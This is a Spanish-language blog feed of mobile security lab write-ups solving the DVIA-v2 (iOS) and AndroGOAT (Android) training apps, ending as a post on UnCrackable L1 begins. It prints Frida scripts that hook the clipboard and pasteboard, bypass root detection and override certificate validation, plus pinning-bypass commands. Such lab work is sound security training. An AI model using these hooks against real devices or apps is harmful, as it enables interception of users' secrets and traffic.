<span class="cp">&lt;!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"&gt;</span>
<span class="nt">&lt;plist</span> <span class="na">version=</span><span class="s">"1.0"</span><span class="nt">&gt;</span>
<span class="nt">&lt;dict&gt;</span>
	<span class="nt">&lt;key&gt;</span>password<span class="nt">&lt;/key&gt;</span>
	<span class="nt">&lt;string&gt;</span>password<span class="nt">&lt;/string&gt;</span>
	<span class="nt">&lt;key&gt;</span>username<span class="nt">&lt;/key&gt;</span>
	<span class="nt">&lt;string&gt;</span>naibu3<span class="nt">&lt;/string&gt;</span>
<span class="nt">&lt;/dict&gt;</span>
<span class="nt">&lt;/plist&gt;</span>
</code></pre></div></div>

<h2 id="userdefaults">UserDefaults</h2>

<p>En el segundo nivel, la informacion se almacena como <em>NSUserDefaults</em>.</p>

<p><br />
<img src="/images/posts/DVIA/userDefaults.png" alt="Image" width="300px" />
<br /></p>

<p>En este caso, tambien se guarda como un plist pero bajo <code class="language-plaintext highlighter-rouge">/var/mobile/Containers/Data/Application/&lt;UUID&gt;/Library/Preferences</code>:</p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code>juan-manuels-iPhone:/var/mobile/Containers/Data/Application/AC6069D0-4CA4-4856-8230-4500DCDD5FA3/Library/Preferences root# cat com.naibu3.DVIAswiftv2.plist
bplist00�YDemoValueoesto es un s�per secreto
</code></pre></div></div>

<h2 id="keychain">Keychain</h2>

<p>En este nivel, igual que en los anteriores se nos da la opción de introducir una cadena que se guardará en la keychain.</p>

<p>La keychain es un sistema de almacenamiento seguro que proporciona Apple y sirve para almacenar información sensible como contraseñas, tokens de autenticación, certificados y claves privadas.</p>

<p>TODO</p>

<h2 id="core-data">Core Data</h2>

<p>En este nivel los datos se almacenan en una base de datos del lado del cliente. En concreto podemos acceder a ella en <code class="language-plaintext highlighter-rouge">/var/mobile/Containers/Data/Application/AC6069D0-4CA4-4856-8230-4500DCDD5FA3/Library/Application\ Support/Model.sqlite</code>.</p>

<h2 id="webkit-caching">Webkit Caching</h2>

<p>TODO - Puede que no este funcionando correctamente</p>

<h2 id="realm">Realm</h2>

<p>En <code class="language-plaintext highlighter-rouge">/var/mobile/Containers/Data/Application/AC6069D0-4CA4-4856-8230-4500DCDD5FA3/Documents/default.realm</code> se debe estar guardando la informacion.</p>

<p>TODO</p>

<h2 id="couchbase-lite">COuchbase Lite</h2>

<p>En este cao la info se almacena en <code class="language-plaintext highlighter-rouge">/var/mobile/Containers/Data/Application/AC6069D0-4CA4-4856-8230-4500DCDD5FA3/Library/Application Support/CouchbaseLite/dvcouchbasedb.cblite2/db.sqlite3</code>.</p>

<p>TODO</p>

<h2 id="yapdatabase">YapDatabase</h2>

<p>De forma similar a la parte de Core Data, en este sub-nivel la informacion se almacena en una base de datos Yap. Este es un framework que facilita el almacenamiento de informacion en iOS.</p>

<p>Podemos acceder a la base de datos en <code class="language-plaintext highlighter-rouge">/var/mobile/Containers/Data/Application/AC6069D0-4CA4-4856-8230-4500DCDD5FA3/Library/Application\ Support/YapDatabase.sqlite</code>.</p>

<h1 id="side-channel-data-leakage">Side Channel Data Leakage</h1>

<p>En este nivel trataremos una vulnerabilidad que se da cuando se filtran datos sensibles accidentalmente por parte de la aplicacion.</p>

<h2 id="device-logs">Device Logs</h2>

<p>TODO - Al rellenar el formulario crashea xdd</p>

<h2 id="app-screenshots">App Screenshots</h2>

<p>Al pasar una aplicacion a segundo plano, se guarda automaticamente una captura de pantalla de la aplicacion para poder mostrarla en la previsualizacion. Si disponemos de un dispositivo rooteado podemos acceder a estas capturas y en ocasiones ver informacion privilegiada.</p>

<p>En este caso debemos introducir una cadena y mandar la aplicacion a segundo plano. Desde ssh (o desde Filza), podemos ver la captura en <code class="language-plaintext highlighter-rouge">/var/mobile/Containers/Data/Application/AC6069D0-4CA4-4856-8230-4500DCDD5FA3/Library/SplashBoard/Snapshots</code>.</p>

<h2 id="pasteboard">Pasteboard</h2>

<p>Es muy peligroso guardar informacion sensible, como por ejemplo un CVV en la <em>pasteboard</em>. Por tanto no debemos dejar al usuario copiar dicha informacion. En este nivel debemos precisamente copiar dicha informacion.</p>

<p>Posteriormente, con un script de frida como el siguiente podemos extraer el contenido de la pasteboard:</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="nx">UIPasteboard</span> <span class="o">=</span> <span class="nx">ObjC</span><span class="p">.</span><span class="nx">classes</span><span class="p">.</span><span class="nx">UIPasteboard</span><span class="p">;</span>
<span class="kd">const</span> <span class="nx">pb</span> <span class="o">=</span> <span class="nx">UIPasteboard</span><span class="p">.</span><span class="nx">generalPasteboard</span><span class="p">();</span>
<span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">"</span><span class="s2">Pasteboard content: </span><span class="dl">"</span> <span class="o">+</span> <span class="nx">pb</span><span class="p">.</span><span class="nx">string</span><span class="p">().</span><span class="nx">toString</span><span class="p">());</span>
</code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>frida <span class="nt">-U</span> <span class="nt">-n</span> DVIA-v2 <span class="nt">-l</span> paste.js

     ____
    / _  |   Frida 17.2.11 - A world-class dynamic instrumentation toolkit
   | <span class="o">(</span>_| |
    <span class="o">&gt;</span> _  |   Commands:
   /_/ |_|       <span class="nb">help</span>      -&gt; Displays the <span class="nb">help </span>system
   <span class="nb">.</span> <span class="nb">.</span> <span class="nb">.</span> <span class="nb">.</span>       object?   -&gt; Display information about <span class="s1">'object'</span>
   <span class="nb">.</span> <span class="nb">.</span> <span class="nb">.</span> <span class="nb">.</span>       <span class="nb">exit</span>/quit -&gt; Exit
   <span class="nb">.</span> <span class="nb">.</span> <span class="nb">.</span> <span class="nb">.</span>
   <span class="nb">.</span> <span class="nb">.</span> <span class="nb">.</span> <span class="nb">.</span>   More info at https://frida.re/docs/home/
   <span class="nb">.</span> <span class="nb">.</span> <span class="nb">.</span> <span class="nb">.</span>
   <span class="nb">.</span> <span class="nb">.</span> <span class="nb">.</span> <span class="nb">.</span>   Connected to iOS Device <span class="o">(</span><span class="nb">id</span><span class="o">=</span>1af26da7a801875fe87f09d7eaccf75c650d0a8f<span class="o">)</span>
Attaching...                                                            
Pasteboard content: 344
</code></pre></div></div>

<h2 id="keystroke-logging">Keystroke logging</h2>

<p>iOS por defecto almacena todas las pulsaciones que se hayan introducido en el dispositivo. El objetivo de este sub-nivel es introducir un nombre y capturar esas pulsaciones.</p>

<p>Los archivos deberían estar en <code class="language-plaintext highlighter-rouge">/private/var/mobile/Library/Keyboard/</code> con extension <code class="language-plaintext highlighter-rouge">.dat</code>.</p>

<h2 id="cookies">Cookies</h2>

<p>Muchas aplicaciones almacenan cookies de sesion en <code class="language-plaintext highlighter-rouge">/private/var/mobile/Library/Cookies</code>. Si vamos a ese directorio encontraremos un archivo con las credenciales.</p>

<h1 id="network-layer-security">Network Layer Security</h1>

<p>En esta seccion trataremos de capturar el trafico http que envia la aplicacion.</p>

<h2 id="http">HTTP</h2>

<p>Para la primera parte, deberemos configurar la red para que utilice nuestra maquina en el puerto <code class="language-plaintext highlighter-rouge">8080</code> como proxy para capturar con BurpSuite.</p>

<h2 id="https">HTTPS</h2>

<p>En el caso de HTTPs, si tratamos de capturar el trafico directamente, recibiremos un error. Esto se debe a que el certificado no es de confianza y al igual que hicimos con la version de Android, debemos añadir el certificado a los certificados de confianza.</p>]]></content><author><name>naibu3</name></author><category term="Mobile" /><category term="Writeups" /><summary type="html"><![CDATA[Ya estuve resolviendo los retos planteados en algunas de las aplicaciones android del OWASP MASTG. Así que ahora toca explotar algo de iOS.]]></summary></entry><entry><title type="html">AndroGOAT - Network Intercepting</title><link href="http://naibu3.github.io//AndroGOAT-Network-Intercepting/" rel="alternate" type="text/html" title="AndroGOAT - Network Intercepting" /><published>2025-07-03T00:00:00+00:00</published><updated>2025-07-03T00:00:00+00:00</updated><id>http://naibu3.github.io//AndroGOAT-Network-Intercepting</id><content type="html" xml:base="http://naibu3.github.io//AndroGOAT-Network-Intercepting/"><![CDATA[<p>En el post anterior estuvimos explotando algunas de las vulnerabilidades más típicas de Android en una aplicación destinada a ello, AndroGoat. Hoy vamos a concluir, explotando la sección de Intercepción de Tráfico de red.</p>

<p><br />
<img src="/images/posts/AndroGOAT/AndroGOAT.png" alt="Image" width="300px" /></p>

<h1 id="http">HTTP</h1>

<p>La primera parte consiste en interceptar tráfico http. Para ello comenzaremos configurando BurpSuite:</p>

<p><br />
<img src="/images/posts/AndroGOAT/BurpSuite-options.png" alt="Image" width="500px" /></p>

<p>Y en las opciones de conexión del móvil especificamos el proxy:</p>

<p><br />
<img src="/images/posts/AndroGOAT/proxy.png" alt="Image" width="300px" /></p>

<p>Con todo listo podemos lanzar la petición y verla desde BurpSuite:</p>

<p><br />
<img src="/images/posts/AndroGOAT/http-req.png" alt="Image" width="300px" /></p>

<p><img src="/images/posts/AndroGOAT/burp-http-req.png" alt="Image" width="300px" /></p>

<p>Vemos que somos capaces de ver las peticiones.</p>

<h1 id="https">HTTPS</h1>

<p>Cuando tratamos de hacer un MITM a HTTPS, en un navegador veremos un aviso de que la comunicación no es privada. En aplicaiones móviles, no se mostrará el aviso y por tanto no seremos capaces de interceptar nada.</p>

<p>BurpSuite genera certificados autofirmados para los dispositivos a los que se conecta. El problema es que este certificado no es de confianza para android. Para ello debemos asegurarnos de tenerlo instalado, podemos descargarlo si accedemos por un navegador a <code class="language-plaintext highlighter-rouge">&lt;IP-Burpsuite&gt;:&lt;Puerto&gt;</code>:</p>

<p><br />
<img src="/images/posts/AndroGOAT/certificate.png" alt="Image" width="300px" /></p>

<p><img src="/images/posts/AndroGOAT/certificate-install.png" alt="Image" width="300px" /></p>

<h2 id="posibles-fallos">Posibles fallos</h2>

<p>En versiones posteriores de la API (a partir de la API 24-Nougat), es posible que no sea posible interceptar las peticiones. Esto se debe al funcionamiento de los certificados, concretamente a partir de esa versión, las propias aplicaciones deben especificar en el <code class="language-plaintext highlighter-rouge">network_security_config.xml</code> que cofían explícitamente en el certificado.</p>

<p>Para bypasear esta protección, podemos ó instalar el certificado de burpsuite como un certificado a nivel de sistema. Ó, de forma más simple, modificar la aplicación para incorporar esta configuración. Con algo así sería suficiente:</p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;?xml version="1.0" encoding="utf-8"?&gt;</span>
<span class="nt">&lt;network-security-config&gt;</span>
    <span class="nt">&lt;base-config</span> <span class="na">cleartextTrafficPermitted=</span><span class="s">"true"</span><span class="nt">&gt;</span>
        <span class="nt">&lt;trust-anchors&gt;</span>
            <span class="nt">&lt;certificates</span> <span class="na">src=</span><span class="s">"system"</span> <span class="nt">/&gt;</span>
            <span class="nt">&lt;certificates</span> <span class="na">src=</span><span class="s">"user"</span> <span class="nt">/&gt;</span>
        <span class="nt">&lt;/trust-anchors&gt;</span>
    <span class="nt">&lt;/base-config&gt;</span>
<span class="nt">&lt;/network-security-config&gt;</span>
</code></pre></div></div>

<p>Hay una tercera forma de saltar esta protección, mediante frida. Para ello valdría con un script como el siguiente:</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if</span><span class="o">(</span><span class="nc">Java</span><span class="o">.</span><span class="na">available</span><span class="o">)</span>
<span class="o">{</span>
	<span class="nc">Java</span><span class="o">.</span><span class="na">perform</span><span class="o">(</span><span class="n">function</span> <span class="o">()</span> <span class="o">{</span>

    <span class="kt">var</span> <span class="nc">TrustManagerImpl</span> <span class="o">=</span> <span class="nc">Java</span><span class="o">.</span><span class="na">use</span><span class="o">(</span><span class="err">'</span><span class="n">com</span><span class="o">.</span><span class="na">android</span><span class="o">.</span><span class="na">org</span><span class="o">.</span><span class="na">conscrypt</span><span class="o">.</span><span class="na">TrustManagerImpl</span><span class="err">'</span><span class="o">);</span>

    <span class="nc">TrustManagerImpl</span><span class="o">.</span><span class="na">verifyChain</span><span class="o">.</span><span class="na">implementation</span> <span class="o">=</span> <span class="n">function</span> <span class="o">(</span><span class="n">untrustedChain</span><span class="o">,</span> <span class="n">trustAnchorChain</span><span class="o">,</span> <span class="n">host</span><span class="o">,</span> <span class="n">clientAuth</span><span class="o">,</span> <span class="n">ocspData</span><span class="o">,</span> <span class="n">tlsSctData</span><span class="o">)</span> <span class="o">{</span>
		<span class="c1">// https://github.com/google/conscrypt/blob/c88f9f55a523f128f0e4dace76a34724bfa1e88c/platform/src/main/java/org/conscrypt/TrustManagerImpl.java#L650 </span>

        <span class="n">console</span><span class="o">.</span><span class="na">log</span><span class="o">(</span><span class="no">JSON</span><span class="o">.</span><span class="na">stringify</span><span class="o">(</span><span class="n">untrustedChain</span><span class="o">));</span>
        <span class="k">return</span> <span class="n">untrustedChain</span><span class="o">;</span>
    <span class="o">}</span>
<span class="o">});</span>
<span class="o">}</span>
<span class="k">else</span>
<span class="o">{</span>
	<span class="n">console</span><span class="o">.</span><span class="na">log</span><span class="o">(</span><span class="s">"Java not available"</span><span class="o">);</span>
<span class="o">}</span>
</code></pre></div></div>

<h1 id="certificate-pinning">Certificate pinning</h1>

<p>En la última parte deberemos bypasear una técnica llamada <strong>certificate pinning</strong>. Esta técnica consiste en “anclar” la confianza de la aplicación a un certificado específico o a un conjunto reducido de certificados concretos, en lugar de confiar en cualquier certificado válido emitido por una autoridad certificadora del sistema.</p>

<p>Igual que antes, podemos parchear el binario, pero con frida y este <a href="https://codeshare.frida.re/@akabe1/frida-multiple-unpinning/">script</a> debería ser suficiente.</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">frida</span> <span class="o">-</span><span class="no">U</span> <span class="o">-</span><span class="no">N</span> <span class="n">owasp</span><span class="o">.</span><span class="na">sat</span><span class="o">.</span><span class="na">agoat</span> <span class="o">-</span><span class="n">l</span> <span class="n">pin</span><span class="o">.</span><span class="na">js</span>
</code></pre></div></div>

<p><br />
<img src="/images/posts/AndroGOAT/cert-pinning-solve.png" alt="Image" width="300px" /></p>

<p>Y ahora sí, con esto habríamos completado por completo el AndroGOAT.</p>]]></content><author><name>naibu3</name></author><category term="Mobile" /><category term="Writeups" /><summary type="html"><![CDATA[En el post anterior estuvimos explotando algunas de las vulnerabilidades más típicas de Android en una aplicación destinada a ello, AndroGoat. Hoy vamos a concluir, explotando la sección de Intercepción de Tráfico de red.]]></summary></entry><entry><title type="html">AndroGOAT Writeup</title><link href="http://naibu3.github.io//AndroGOAT/" rel="alternate" type="text/html" title="AndroGOAT Writeup" /><published>2025-07-02T00:00:00+00:00</published><updated>2025-07-02T00:00:00+00:00</updated><id>http://naibu3.github.io//AndroGOAT</id><content type="html" xml:base="http://naibu3.github.io//AndroGOAT/"><![CDATA[<p>En este post estaremos resolviendo algunos niveles de la aplicación Android vulnerable del <a href="https://github.com/OWASP/mastg">OWASP MASTG</a>, AndroGOAT.</p>

<p><br />
<img src="/images/posts/AndroGOAT/AndroGOAT.png" alt="Image" width="300px" /></p>

<h1 id="root-detection">Root Detection</h1>

<p>El nivel de detección de root nos plantea una interfaz con un botón que al ser pulsado nos reporta si se detectan privilegios de superusuario. El objetivo es saltar esta protección.</p>

<h2 id="frida">Frida</h2>

<p>La opción más común es tratar de hookear la función que actúa como detector y evitar que devuelva <code class="language-plaintext highlighter-rouge">true</code>. La función es la siguiente (descompilado utilizando <em>jadx</em>) dentro de <code class="language-plaintext highlighter-rouge">RootDetectionActivity</code>:</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">public</span> <span class="kd">final</span> <span class="kt">boolean</span> <span class="nf">isRooted</span><span class="o">()</span> <span class="o">{</span>
    <span class="nc">String</span><span class="o">[]</span> <span class="n">file</span> <span class="o">=</span> <span class="o">{</span><span class="s">"/system/app/Superuser/Superuser.apk"</span><span class="o">,</span> <span class="s">"/system/app/Superuser.apk"</span><span class="o">,</span> <span class="s">"/sbin/su"</span><span class="o">,</span> <span class="s">"/system/bin/su"</span><span class="o">,</span> <span class="s">"/system/xbin/su"</span><span class="o">,</span> <span class="s">"/data/local/xbin/su"</span><span class="o">,</span> <span class="s">"/data/local/bin/su"</span><span class="o">,</span> <span class="s">"/system/sd/xbin/su"</span><span class="o">,</span> <span class="s">"/system/bin/failsafe/su"</span><span class="o">,</span> <span class="s">"/data/local/su"</span><span class="o">,</span> <span class="s">"/su/bin/su"</span><span class="o">,</span> <span class="s">"re.robv.android.xposed.installer-1.apk"</span><span class="o">,</span> <span class="s">"/data/app/eu.chainfire.supersu-1/base.apk"</span><span class="o">};</span>
    <span class="kt">boolean</span> <span class="n">result</span> <span class="o">=</span> <span class="kc">false</span><span class="o">;</span>
    <span class="k">for</span> <span class="o">(</span><span class="nc">String</span> <span class="n">files</span> <span class="o">:</span> <span class="n">file</span><span class="o">)</span> <span class="o">{</span>
        <span class="nc">File</span> <span class="n">f</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">File</span><span class="o">(</span><span class="n">files</span><span class="o">);</span>
        <span class="n">result</span> <span class="o">=</span> <span class="n">f</span><span class="o">.</span><span class="na">exists</span><span class="o">();</span>
        <span class="k">if</span> <span class="o">(</span><span class="n">result</span><span class="o">)</span> <span class="o">{</span>
            <span class="k">break</span><span class="o">;</span>
        <span class="o">}</span>
    <span class="o">}</span>
    <span class="k">return</span> <span class="n">result</span><span class="o">;</span>
<span class="o">}</span>
</code></pre></div></div>

<p>Para bypasearla es tan sencillo como ejecutar el frida-server en el dispositivo:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>adb push frida-server /data/local/tmp
adb shell
su
<span class="nb">cd</span> /data/local/tmp/
./frida-server
</code></pre></div></div>

<p>Y lanzar frida con el siguiente script:</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nc">Java</span><span class="o">.</span><span class="na">perform</span><span class="o">(</span><span class="n">function</span> <span class="o">()</span> <span class="o">{</span>
    <span class="kt">var</span> <span class="nc">RootDetectionActivity</span> <span class="o">=</span> <span class="nc">Java</span><span class="o">.</span><span class="na">use</span><span class="o">(</span><span class="s">"owasp.sat.agoat.RootDetectionActivity"</span><span class="o">);</span>

    <span class="nc">RootDetectionActivity</span><span class="o">.</span><span class="na">isRooted</span><span class="o">.</span><span class="na">implementation</span> <span class="o">=</span> <span class="n">function</span> <span class="o">()</span> <span class="o">{</span>
        <span class="n">console</span><span class="o">.</span><span class="na">log</span><span class="o">(</span><span class="s">"[+] isRooted() called - returning false"</span><span class="o">);</span>
        <span class="k">return</span> <span class="kc">false</span><span class="o">;</span>
    <span class="o">};</span>	
<span class="o">});</span>
</code></pre></div></div>

<p>Así conseguimos que no se nos detecte:</p>

<p><br />
<img src="/images/posts/AndroGOAT/GOAT-RootDetection-Solved.png" alt="Image" width="200px" /></p>

<h2 id="magisk">Magisk</h2>

<p>Una forma más sencilla es utilizando <a href=""><em>magisk</em></a>, esta herramienta nos proporciona una <em>blacklist</em> para seleccionar una serie de aplicaciones a las que se ocultará el root.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>adb shell
su
magisk <span class="nt">--denylist</span> <span class="nb">enable                                                                            
</span>magisk <span class="nt">--denylist</span> add owasp.sat.agoat 
</code></pre></div></div>

<h1 id="insecure-data-storage">Insecure Data Storage</h1>

<h2 id="shared-preferences">Shared Preferences</h2>

<p>En la primera parte se nos ofrece una pantalla para registrar un usuario. SIn embargo, se guarda bajo <code class="language-plaintext highlighter-rouge">SharedPreferences</code>, por tanto es posible acceder y verlo en texto plano:</p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/data/data/owasp.sat.agoat/shared_prefs # cat users.xml                                                                       
<span class="cp">&lt;?xml version='1.0' encoding='utf-8' standalone='yes' ?&gt;</span>
<span class="nt">&lt;map&gt;</span>
    <span class="nt">&lt;string</span> <span class="na">name=</span><span class="s">"password"</span><span class="nt">&gt;</span>naibupass<span class="nt">&lt;/string&gt;</span>
    <span class="nt">&lt;string</span> <span class="na">name=</span><span class="s">"username"</span><span class="nt">&gt;</span>naibu3<span class="nt">&lt;/string&gt;</span>
<span class="nt">&lt;/map&gt;</span>
</code></pre></div></div>

<p>En la segunda parte se nos presenta una puntuación que aumenta al pulsar un botón, sin embargo, también es una preferencia compartida, por tanto podemos modificarla para meter 1000 puntos:</p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;?xml version='1.0' encoding='utf-8' standalone='yes' ?&gt;</span>
<span class="nt">&lt;map&gt;</span>
    <span class="nt">&lt;int</span> <span class="na">name=</span><span class="s">"score"</span> <span class="na">value=</span><span class="s">"10003"</span> <span class="nt">/&gt;</span>
    <span class="nt">&lt;int</span> <span class="na">name=</span><span class="s">"level"</span> <span class="na">value=</span><span class="s">"2"</span> <span class="nt">/&gt;</span>
<span class="nt">&lt;/map&gt;</span>
</code></pre></div></div>

<p>Es importante que modifiquemos el fichero con la app cerrada, ya que las preferencias se cachean.</p>

<p><br />
<img src="/images/posts/AndroGOAT/GOAT-InsecureStorage-Solved.png" alt="Image" width="200px" /></p>

<h2 id="sqlite">Sqlite</h2>

<p>De igual forma, en la siguiente parte, las credenciales se guardan en una base de datos. Podemos traerla a nuestra máquina con adb y visualizarla con sqlite.</p>

<h2 id="tmp-file">Tmp File</h2>

<p>En este caso se guarda en un archivo temporal creado en la raíz del espacio de nombres de la aplicación.</p>

<h2 id="sdcard">SDCard</h2>

<p>El último nivel guarda los archivos en un tarjeta SD. En mi caso no tenía así que no funcionaba :V</p>

<h1 id="side-channel-data-leakage">Side Channel Data Leakage</h1>

<p>En esta parte veremos como podemos encontrar información que pueda quedar expuesta indirectamente.</p>

<h2 id="keyboard-cache">Keyboard Cache</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>OP56CDL1:/data/data/com.google.android.inputmethod.latin/files/personal/userhistory <span class="c"># strings *</span>
0<span class="nv">$&gt;</span>a
We love Marisa.
We love Marisa.
a	rkm
@gmail.com
privadi
dekracstesting
@test.c
</code></pre></div></div>

<h2 id="insecure-logging">Insecure Logging</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>adb logcat | <span class="nb">grep</span> <span class="nt">-i</span> <span class="s2">"Error occured when processing"</span>
07-02 13:44:49.625 11105 11105 E Error:  : Error occured when processing Username naivu3   and Password naivu3
07-02 13:44:49.625 11105 11105 I System.out: Error: Error occured when processing Username naivu3   and Password naivu3
07-02 13:44:50.637 11105 11105 E Error:  : Error occured when processing Username naivu3   and Password naivu3
</code></pre></div></div>

<h2 id="clipboard">Clipboard</h2>

<p>En este caso se nos dan una vista que nos da copia a la clipboard un OTP al ingresar un número de tarjeta. Esto es peligroso ya que el portapapeles es compartido para todo el sistema. Para interceptarlo podemos utilizar por ejemplo frida:</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nc">Java</span><span class="o">.</span><span class="na">perform</span><span class="o">(</span><span class="n">function</span><span class="o">()</span> <span class="o">{</span>
    <span class="kt">var</span> <span class="nc">ClipboardManager</span> <span class="o">=</span> <span class="nc">Java</span><span class="o">.</span><span class="na">use</span><span class="o">(</span><span class="s">"android.content.ClipboardManager"</span><span class="o">);</span>
    <span class="nc">ClipboardManager</span><span class="o">.</span><span class="na">setPrimaryClip</span><span class="o">.</span><span class="na">implementation</span> <span class="o">=</span> <span class="n">function</span><span class="o">(</span><span class="n">clip</span><span class="o">)</span> <span class="o">{</span>
        <span class="n">console</span><span class="o">.</span><span class="na">log</span><span class="o">(</span><span class="s">"Clipboard set to: "</span> <span class="o">+</span> <span class="n">clip</span><span class="o">.</span><span class="na">getItemAt</span><span class="o">(</span><span class="mi">0</span><span class="o">).</span><span class="na">getText</span><span class="o">());</span>
        <span class="k">return</span> <span class="k">this</span><span class="o">.</span><span class="na">setPrimaryClip</span><span class="o">(</span><span class="n">clip</span><span class="o">);</span>
    <span class="o">};</span>
<span class="o">});</span>
</code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>frida <span class="nt">-U</span> <span class="nt">-N</span> owasp.sat.agoat <span class="nt">-l</span> cliper.js

     ____
    / _  |   Frida 17.2.6 - A world-class dynamic instrumentation toolkit
   | <span class="o">(</span>_| |
    <span class="o">&gt;</span> _  |   Commands:
   /_/ |_|       <span class="nb">help</span>      -&gt; Displays the <span class="nb">help </span>system
   <span class="nb">.</span> <span class="nb">.</span> <span class="nb">.</span> <span class="nb">.</span>       object?   -&gt; Display information about <span class="s1">'object'</span>
   <span class="nb">.</span> <span class="nb">.</span> <span class="nb">.</span> <span class="nb">.</span>       <span class="nb">exit</span>/quit -&gt; Exit
   <span class="nb">.</span> <span class="nb">.</span> <span class="nb">.</span> <span class="nb">.</span>
   <span class="nb">.</span> <span class="nb">.</span> <span class="nb">.</span> <span class="nb">.</span>   More info at https://frida.re/docs/home/
   <span class="nb">.</span> <span class="nb">.</span> <span class="nb">.</span> <span class="nb">.</span>
   <span class="nb">.</span> <span class="nb">.</span> <span class="nb">.</span> <span class="nb">.</span>   Connected to CPH2437 <span class="o">(</span><span class="nb">id</span><span class="o">=</span>VOQ4JBEM8L69V8MF<span class="o">)</span>
<span class="o">[</span>CPH2437::owasp.sat.agoat <span class="o">]</span>-&gt; Clipboard <span class="nb">set </span>to: 9886
Clipboard <span class="nb">set </span>to: 6521
Clipboard <span class="nb">set </span>to: 5162
Clipboard <span class="nb">set </span>to: 7104
</code></pre></div></div>

<h1 id="input-validations">Input Validations</h1>

<h2 id="xss">XSS</h2>

<p>Esta sección es vlnerable a XSS:</p>

<p><br />
<img src="/images/posts/AndroGOAT/GOAT-XSS-Solved.png" alt="Image" width="200px" /></p>

<h2 id="sqli">SQLi</h2>

<p><br />
<img src="/images/posts/AndroGOAT/GOAT-SQLi-Solved.png" alt="Image" width="200px" /></p>

<h2 id="webview">WebView</h2>

<p><br />
<img src="/images/posts/AndroGOAT/GOAT-File-Solved.png" alt="Image" width="200px" /></p>

<h1 id="unprotected-android-components">Unprotected Android Components</h1>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code>OP56CDL1:/data/data/owasp.sat.agoat/shared_prefs # cat pinDetails.xml                                                                  
<span class="cp">&lt;?xml version='1.0' encoding='utf-8' standalone='yes' ?&gt;</span>
<span class="nt">&lt;map&gt;</span>
    <span class="nt">&lt;boolean</span> <span class="na">name=</span><span class="s">"pinSet"</span> <span class="na">value=</span><span class="s">"true"</span> <span class="nt">/&gt;</span>
    <span class="nt">&lt;string</span> <span class="na">name=</span><span class="s">"pin"</span><span class="nt">&gt;</span>81dc9bdb52d04dc20036dbd8313ed055<span class="nt">&lt;/string&gt;</span>
<span class="nt">&lt;/map&gt;</span>
</code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>adb shell am start <span class="nt">-n</span> owasp.sat.agoat/.AccessControl1ViewActivity
Starting: Intent <span class="o">{</span> <span class="nv">cmp</span><span class="o">=</span>owasp.sat.agoat/.AccessControl1ViewActivity <span class="o">}</span>
</code></pre></div></div>

<p><br />
<img src="/images/posts/AndroGOAT/GOAT-DownloadInvoice.png" alt="Image" width="200px" /></p>

<h1 id="binary-patching">Binary Patching</h1>

<p>En esta parte queremos acceder a una Funcionalidad de Administración, sin embargo parece estar bloqueada. Para ello lo que haremos será modificar el propio programa para hacerle creer que somos administradores.</p>

<p>Lo primero es extraer los ficheros de la apk:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>apktool d AndroGoat.apk
</code></pre></div></div>

<p>Nos dirijiremos a la carpeta <code class="language-plaintext highlighter-rouge">smali</code>, donde se guarda el código como instrucciones Dalvik. Allí podemos acceder a la actividad correspondiente y editar la comprobación de los privilegios:</p>

<p><br />
<img src="/images/posts/AndroGOAT/AndroGOAT-BinaryPatching.png" alt="Image" width="200px" /></p>

<p>Una vez modificado podemos recompilar e instalar y <em>voilá</em>, tendremos acceso a la supuesta funcionalidad privilegiada:</p>

<p><br />
<img src="/images/posts/AndroGOAT/AndroGOAT-BianryPatching-Compile.png" alt="Image" width="200px" /></p>

<p><br />
<img src="/images/posts/AndroGOAT/GOAT-Patching-Solved.png" alt="Image" width="200px" /></p>

<p>Y con esto habríamos terminado de vulnerar la aplicación AndroGoat. Sólo quedaría la parte de interceptar tráfico, pero será cubierta en un post futuro.</p>]]></content><author><name>naibu3</name></author><category term="Mobile" /><category term="Writeups" /><summary type="html"><![CDATA[En este post estaremos resolviendo algunos niveles de la aplicación Android vulnerable del OWASP MASTG, AndroGOAT.]]></summary></entry><entry><title type="html">Android UnCrackable L1</title><link href="http://naibu3.github.io//Android-UnCrackable-L1/" rel="alternate" type="text/html" title="Android UnCrackable L1" /><published>2025-06-30T00:00:00+00:00</published><updated>2025-06-30T00:00:00+00:00</updated><id>http://naibu3.github.io//Android-UnCrackable-L1</id><content type="html" xml:base="http://naibu3.github.io//Android-UnCrackable-L1/"><![CDATA[<p>Seguimos con nuestros primeros pasos explotando dispositivos Android. En este caso traemos uno de las aplicaciones incluidas en el <a href="https://mas.owasp.org/crackmes/Android/">OWASP MASTG</a>.</p>

<h1 id="overview">Overview</h1>

<p>Se nos da una aplicación que a priori detecta si nuestro dispositivo está rooteado, y de ser así nos echa de la aplicación:</p>

<p><br />
<img src="/images/posts/UnCrackableL1/UnCrackable-L1.jpg" alt="Image" width="200px" />
<br /></p>

